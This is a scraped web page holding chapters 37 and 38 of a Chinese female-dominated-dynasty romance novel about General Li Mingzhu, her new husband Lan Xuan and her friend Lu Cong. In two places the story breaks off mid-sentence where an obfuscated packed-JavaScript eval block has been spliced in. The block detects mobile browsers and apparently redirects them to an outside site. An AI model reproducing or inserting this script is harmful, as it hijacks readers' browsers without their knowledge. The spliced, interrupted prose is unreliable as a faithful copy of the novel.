而现在,她明明很缺钱,府里空旷,陈设简单,吃穿用度也具是粗糙,但只要拿了这笔嫁妆,所有的一切就都唾手可得!可她竟然原封不动地退了回来,没有一丝犹豫。 “李明珠,六年过去了,你还是不肯要我的东西么?”蓝玄眼神茫然地望向窗外,喃喃自语。 “那你为何要娶我呢?” 37. 豪宅 若放到别人家,新婚第二日一定是悠闲惬意,温香软玉在怀,蜜里调油。 但李明珠却独树一帜,忙得一整日不得闲。她先是去找了趟小苏要来府里的账册,想看看公中还剩多少钱。她平日多在军中,不怎么过问府里的庶务,全交由小苏打理。 每月发了俸禄,自己只留几两银子,剩下的全交到公账上。府里看着人不多,但每日的花销却不小,光是吃饭这一项,便能让本就不富裕的李大将军雪上加霜,几十口人的吃穿,没有其它进项,全靠李明珠的俸禄撑着。 饶是心里有所准备,但看到账本上那用朱砂笔写就的‘三两余四吊钱’时,她仍然两眼一黑。 不可置信地看了好几遍,又详细算了算账上所有的花销。然而,账本上的白纸红字残酷地告诉她:是的,李明珠,你就是这么穷。 沉默良久,她才逼自己接受了这个现实,把大婚贺礼的礼单给了小苏:“这几个物件你先拿去当了罢,好歹换些银钱吃饭。剩下的贺礼放进库房,钥匙就交给蓝——交给我夫郎保管,左右咱们没什么值钱的东西,那么大的库房空着也是浪费,晚些时候你带几个人,帮着正君把他的嫁妆搬进去。” “是。” 小苏恭敬应了,顿了顿,迟疑道:“将军,如今正君进府,是否把管家之权交给蓝正君?” 这一下把李明珠给问住了,她想起在现代时看过的那些电视剧,女子成亲后好像是有管家之权的,但这个时代——似乎谢浣嫁给白灵后也没管家啊,将军府一直是白玉尘在管事。 李明珠思索了下,“还是算了,他每日的事够多的了,就咱们府里那仨瓜俩枣,别拿去丢人了,还是你先管着罢。” 话落,她没再多待,也没用早膳,直接骑上珍珠出了府。 只是,李明珠走得急,因此也就没看见小苏诧异的表情。她对这个时代的后宅之事了解不多,身边交往的同僚好友又多是将领兵士,这些个女人凑在一起,谈的净是些军务兵法,说的花了,也顶多就是风月楼里又出了个花魁郎君,百媚阁里新进了些唱曲儿的小公子,谁会把自己那些个家长里短的事往外张扬? 没人跟李明珠说这些内宅官司,她自是不知,大荣朝的男子对是否能够掌家十分重视,若是身为正夫却无掌家之权,则表明他不受妻主看重,府里的下人们都是人精,长此以往,即便身为正室,也是有名无实,谁都可以踩上两脚。 而白灵与谢浣却不同,她们成亲后并未出府别居,将军府是圣上赐给李明珠的府邸,正经的主子也只有她一个人,谢浣管自家院子里的事还可以,但不能越俎代庖来掌管将军府。 李明珠哪里知道这许多弯弯绕,她此刻正骑着珍珠去往京郊大营。 昨日婚宴结束的太晚,路从又替她喝了不少酒,李明珠便想让她直接留宿同知府,省得再来回折腾。但路从说什么也不留下,嚷嚷着一定要走,说是受不了那股子骚狐狸味儿。 李明珠无法,也担心她这张嘴再说出什么惊世骇俗的话,被有心之人记下,就派连雁一路送她回了大营。 但后来连雁回来禀报,说路从醉得很厉害,路上吐了两回,嘴里还喃喃念着些话,含含糊糊听不清具体说的是什么。李明珠当时就很担心,但碍于已经宵禁,只能暂且作罢。 心里一直装着这事儿,天快亮时才堪堪睡着,却也只睡了两三个时辰就起身出门。 想着路从醉酒后可能会头疼,李明珠出府后没有马上去找她,而是转道去了荟萃楼,要了几个清炒小菜并一壶八宝茶,这才重新上马去往京郊。 李明珠回京两个多月来,经常去营中找路从,因此值守的兵士也都认识她,只按例问询一番,便放她进去了。 一路直达军帐,但出乎意料的,路从居然还没起?!要知道,她可是一个哪怕数九寒天都天不亮就起身练武的人,毫不夸张地说,李明珠与她认识这么多年,这还是第一次见她睡着的样子。 见人睡得安稳,李明珠就没叫醒她,而是静静坐在榻边凝着她的脸。路从的长相其实很符合这个时代的审美,身长八尺,虎背蜂腰螳螂腿。李明珠曾见过路从练兵时的模样,长枪在手意气风发,不知是多少男儿的春归梦里人。不过路从好像也不在意这些,这么多年倒也没听说她倾心哪个男子。 正想着,榻上的路从似有所觉,忍者头痛睁开了眼,原本还以为是哪个不长眼的亲卫小兵,谁知眼皮刚掀开一条缝儿,那张才在梦里见过的侧脸便撞进她的视线里。 用力闭了闭眼,再睁开—— “明珠?!真的是你!” 知道这不是梦,路从腾一下坐起身,“你怎么这时候来了?!” “这时候来怎么了,难不成来见你还要再三通传?” “诶诶诶,我可不敢,李大将军亲至,小人恨不得自己变成匹马驮您来!” “打住打住,我鸡皮疙瘩都起来了。看你还能贫嘴,看来我白担心了一晚上。你倒是精神,我可是一宿都没睡好,还惦记你醉酒不舒服,一大早起来给你送八宝茶。”话虽如此,但看路从还能跟自己玩笑,李明珠也放心了些。 起身将食盒里的吃食摆在桌上,回头招呼还在榻上的路从:“想什么呢,眼都直了,赶快来漱口吃饭!这八宝茶最是解酒,现在还是温的,等凉了就不好喝了。” 路从却没动,漆黑的眸子直直看向李明珠,幽幽道:“你一夜没睡好,怕不是因为担心我,而是被那狐狸精给够了魂儿罢!” 李明珠闻言一头雾水,片刻后反应过来她说的是什么,好笑道:“你这脑袋里整日想的都是些什么乱七八糟的,我与蓝玄都没圆房呢,哪儿就被勾魂儿了?赶紧来吃饭,饿死了!” 李明珠只是随口一说,听在路从耳里却掀起了惊涛海浪。 她扔下被子,连鞋都没穿,赤着脚跑到李明珠身旁,双眼紧紧盯着她,不放过对方一丝一毫的表情:“你,没跟他圆房?为什么?”话落,她也察觉到自己太过心急,着补道:“咳,我的意思是,昨晚不是你们的洞房花烛夜吗,为何,为何——” “不为何,就是觉的还没到那个地步。你不觉得跟一个连认都不认识的男子做那档子事儿,很奇怪吗?感觉像是牲口在配种。再说,我与他是圣上赐婚,将来到底会如何也未可知,现在这样有名无实,对彼此都好。” 路从深以为然地重重点头:“就是就是,你能这样想再好不过了。” 她心里大大松了口气,总算有心情坐下吃饭了。 端起桌上的八宝茶一饮而尽,惬意道:“好喝!还是你想着我,姐姐没白疼你!诶?你去荟萃楼怎得不买烤鸭啊!尽是些素菜,连点荤腥都没有。” “有的吃就不错了,你还挑上了。你这宿醉刚醒,不宜吃油腻荤腥。再说我这成一回亲把家底都掏空了,不省着过,月底发俸前就饿死了。” “啧,狗皇帝这真是逮着□□攥出尿来啊,让你趟这趟浑水还得搭上全部家当!” “嘘!” 李明珠难得沉了脸色,“这种话你也敢说,隔墙有耳,军中人多眼杂,如此大逆不道的话若是让别有用心之人听见,就是掉脑袋的死罪!日后这些话,万不可再提!” 路从见她如此严肃,连忙道:“你放心,我再傻也是知道轻重的,只在你面前说,不会有第三人知晓!” “不行!” 李明珠态度很坚决,“你在我面前说习惯了,在外头说话时难免带出这些话来。路从姐姐,我明白你是为我不平,但亲也成了银子也花了,木已成舟已然改变不了。为这事呈口舌之快实在不值!你答应我,这些话,万不能再说!” 路从心知李明珠说的是对的,重重点头,“好,我保证,再也不提这些,我这脑袋还得留着跟你吃烤鸭呢!” 知道她这么打岔是为了缓和气氛,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376382|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明珠虽忧心后怕,却也缓了表情,只照着路从的胳膊锤了一下,换来这傻大个的嘿嘿傻笑。 就这样,两人待了一个下午,直到太阳落山,李明珠才慢悠悠打道回府。 只是,当她踏进同知府的大门时,差点儿以为自己走错了府邸。不信邪地退出来又看了看,见门口的匾额上确实写着‘同知府’三个大字,这才揣着满心惊疑走了进去, 当初圣上赐给她的这座宅子,其实是要比辽州的将军府奢华精致一些的,但,也只好了那么一点罢了,比起正儿八经的富贵人家宅邸,她的同知府确实可以用“寒舍”来形容。 但现在,李明珠望着与早上离开时完全不同的宅院,几乎都以为自己又穿越了。原本的石子土路,全铺上了各式青砖。 往前走是池塘,说是池塘,但从她住进来那天就是干的,此刻却是流水潺潺,仔细一瞧,里头还游着几尾红鲤。 小苏就跟在李明珠身后,欲言又止。她又能说什么呢,就算是亲眼见证了府里的变化,她也依旧难以置信,仍觉得这一天跟做梦一样。 今日一大早,她本是按照李明珠的吩咐,给蓝正君送库房钥匙,谁知却连他的影子都没见着。 正君的陪嫁小侍出来拿了钥匙,却没让她带人搬嫁妆,只让把那些奴仆留下,并给了她一千两银子,让她出府去城西买两百苦力。 小苏虽然不解其意,但正君的吩咐也不得不听,无法,只能一边在心里盼着将军早些回来,一边骑马奔向城西。 蓝玄给的工钱高,三两银子一日,要知道,城西苦力多为流民,干一天的重苦力也才能得几文钱。三两银子足够那些人家好几个月的嚼用,所以大家一听有这等好事,全涌了上来,争着要跟小苏回府,甚至若不是旁边监工压着,差一点儿就要发生暴乱。 精挑了两百个壮劳力刚回府,就看见府里已经开始动工了。 几百奴仆正把蓝玄的嫁妆抬进正院。小苏上前问了人,才知这些都是正君刚从蓝宅调过来的人手,来帮着打理嫁妆。 岚小风瞧见她回来,身后还乌泱泱跟着一大堆壮劳力,也没多废话,直接给这帮人分配了活计。 “将军,您是不知道,那岚家两兄弟真不愧是蓝家的下人,今日来干活儿的足有数百人,却不到半个时辰就全安排好了,起石子的、铺砖的、运水的、装沙的......统统安排得明明白白!” 小苏仿佛终于找到主心骨一般,滔滔不绝地倾诉起她在心里憋了一天的话:“那些苦力鱼龙混杂,什么三教九流的都有,偏生就被制住,老老实实地干活,几百人,一个生事的都没有!天黑前所有活就都干完了!真是,真是有钱能使鬼推磨啊。” 说起钱,小苏从怀中拿出几张银票躬身递给李明珠:“将军,今日正君给了奴才一千两银票,买苦力花了六百多两,还剩这些。” 李明珠自回府以来,一句话也没说。看着递到眼前的银票,她没有伸手去接:“这是正君给你的,既是剩了,为何不还给他?” 小苏的腰弯得更低了:“奴才去还了,只是那个岚小山说剩下的银子就赏给奴才了,但这么多钱,奴,奴才不敢收。” 李明珠听出她声音里的惶恐,也没再多言,只撂下句“别跟着”,便转身往正屋而去。 甫一进正院,饶是有心理准备,李明珠也不免惊讶了一瞬。原本光秃秃的院子此刻已高低错落地排着许多花木。 李明珠自诩在辽州是种过树的,也曾在黄云旌府中见过不少名贵树种,所以院里的大部分树木花草她都能叫得上名,唯有其中一棵。这棵树不大,树干却笔直挺拔。 李明珠被它吸引,走到树下仰头望去,枝叶繁茂绿意葱茏。她不由喃喃:“真好看。” 看得入神,也就没有听见身后之人的脚步声,直到—— “回妻主,这是玉兰树,您若是喜欢,奴明日吩咐他们多种几棵。” 38. 相处 身后冷不丁传来一句话,直接把李明珠吓了一激灵。连忙转身,她才发现两人离得极近,近到她都能闻到蓝玄身上熏香的味道。 夜风乍起,落叶片片而下,对面还站着一个美人,如此良辰美景,若换作旁的女子,早就心中痒痒,对美人百依百顺俯首称臣,然后再绞尽脑汁想要一亲芳泽。 但,蓝玄面前对的是李明珠,先天煞风景圣体。 李明珠其实很少与男子离得如此近,她自从穿越后就一直在女人堆里混,未与旁的男子接触过,唯一能与她亲近些的,也只有白玉尘一人。但那时白玉尘才十三四岁,当时她又刚刚穿越,只把对方看作是弟弟,这才由着他亲近自己。 李明珠自己心里坦坦荡荡,自然也就认为所有人都如此。直到那个能让她记一辈子的夜晚—— 那时她才猛然发现,这个时代已不是她所熟悉的时代,这里是大荣朝,是一个男子十几岁就可婚配的女尊王朝。 正是意识到了这点,后来的两年她才会那么疏远白玉尘,除了无法再面对他之外,更多的,是不想一错再错。她已经因为自己的无知,给了白玉尘错误的信号,那么她唯一能做的便是慢慢疏远,不能再让他越陷越深。 有了白玉尘这个前车之鉴,之后李明珠对所有的男子都是敬而远之。就连去同僚家参加宴会,见着对方家里的男眷,她也是眼观鼻鼻观心,从不乱瞟一眼。 所以现在,当与蓝玄之间的距离已经超出了红线时,李明珠下意识便后退一步,同时转开了眸子。轻咳一声,有些敷衍地道:“你怎么出来了?外头凉,进去罢,别染上风寒。” 话落,也没等他回话,率先进了屋。 她只想赶快摆脱尴尬的氛围,却没看到双方擦肩而过时,蓝玄那瞬间阴沉下来的脸色,以及眼底划过的那一抹幽光。 屋里,昨日大婚的布置都还在,但陈设却焕然一新。 正堂的那张黑漆木桌不见了踪影,换成了大紫檀雕螭桌案,描金花梨木的圈椅整齐摆在一旁。往东屋望去,三扇式的松柏梅兰纹屏风挡住了视线,只能隐约瞧见屏风后晃动的烛火。 李明珠虽然不懂这些陈设家具,但仅凭这成色,就知价值不菲,让她再一次认识到了世家大族的底蕴。 她这儿正看着,蓝玄已经走了进来,直接一撩衣摆跪在地上:“妻主,奴自作主张把府里的布置换成了我的嫁妆,未曾告知于您,请您责罚。” “诶诶诶!” 李明珠被他这一举动给惊到了,连忙上前将人扶起,“你这是做什么,我何时说过要怪你了?” “您不怪我?” “不怪不怪,你先起来,这样让别人看见了该说我虐待你了。”李明珠边说着边往外看去,岚小山和岚小风两兄弟就在廊下候着,屋里的动静他们肯定能听见,到时候传扬出去—— “妻主放心,他们都是从小伺候我的,知道什么该说什么不该说。”蓝玄像是能知道她想什么似的,开口道。 然后,就着李明珠的力道起身,欲言又止地看着她。 李明珠:..... “想说什么就说罢,你我既已成亲,在外人眼里我们就是妻夫一体,有事你尽可以告诉我,只要是我能帮上忙的,就决不会袖手旁观。” 蓝玄闻言怔了一下,似是没想到李明珠会如此说,他垂下眼睫,心里的盘算此刻却是一个字也吐不出来。 他原本是想借翻新宅院一事把掌家之权要过来,但沉默良久,终是没能开口,只轻声道:“没什么,就是些后宅琐事罢了,您累了一天,先用膳吧。” 晚膳早已备好,传菜的下人是蓝府家奴,手脚麻利,几乎是一眨眼的功夫,十六道菜就已摆在桌上。 不夸张地说,这还是李明珠自穿越以来见过的最丰盛的一顿饭:桂花鱼翅、樱桃肉、八宝葫芦鸭、白玉羹...... 看着眼前的菜色,她不争气地咽了咽口水,没办法,蓝玄就像是掌握了她味蕾的开关,准备的全是她爱吃的。 李明珠清楚,以她那三两银子的财力,定是吃不上如此珍馐的,所以这桌菜肯定也是蓝玄贴补的。她实在有些拉不下脸来吃,想着眼不见为净,便道:“我下午吃过了,现在还不饿,等晚点让厨房送两碟点心就成,你自己吃吧,我先回房了。” 可刚一转身,袖子却被人拉住。 她今日穿的是一件暗红色窄袖衫,袖口极小,蓝玄拉住她袖子的手几乎贴到了的手腕上,传来一阵痒意。 陌生的触感让李明珠下意识甩开了他的手,但她忽略了一点,这些年她一直习武,手劲儿极大,蓝玄被甩得一个踉跄。 “诶呀,公子!” 听见身后的动静,李明珠讶然回头,就见蓝玄靠在桌案上,面露痛色,紧紧蹙着眉,双手死死捂着小腹。 她连忙上前搀扶住蓝玄,“怎么了,不舒服吗,可要请大夫来?” “将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说是内室,与正堂之间也仅有一扇屏风阻挡,她坐在桌旁,便能隐约看到屏风那头,蓝玄正靠在美人榻上,半褪衣衫露出纤细的腰肢...... “啧!”李明珠强迫自己转移了视线,深吸几口气,将那点儿刚刚涌起的旖旎心思按下。 随后起身走到窗边,望着外面早已暗沉下来的天色,思考起当下的处境来。 她入了神机营,如今也与蓝玄顺利成婚,早已被皇帝推上了风口浪尖,皇权、世家、兵权,一切,山雨欲来。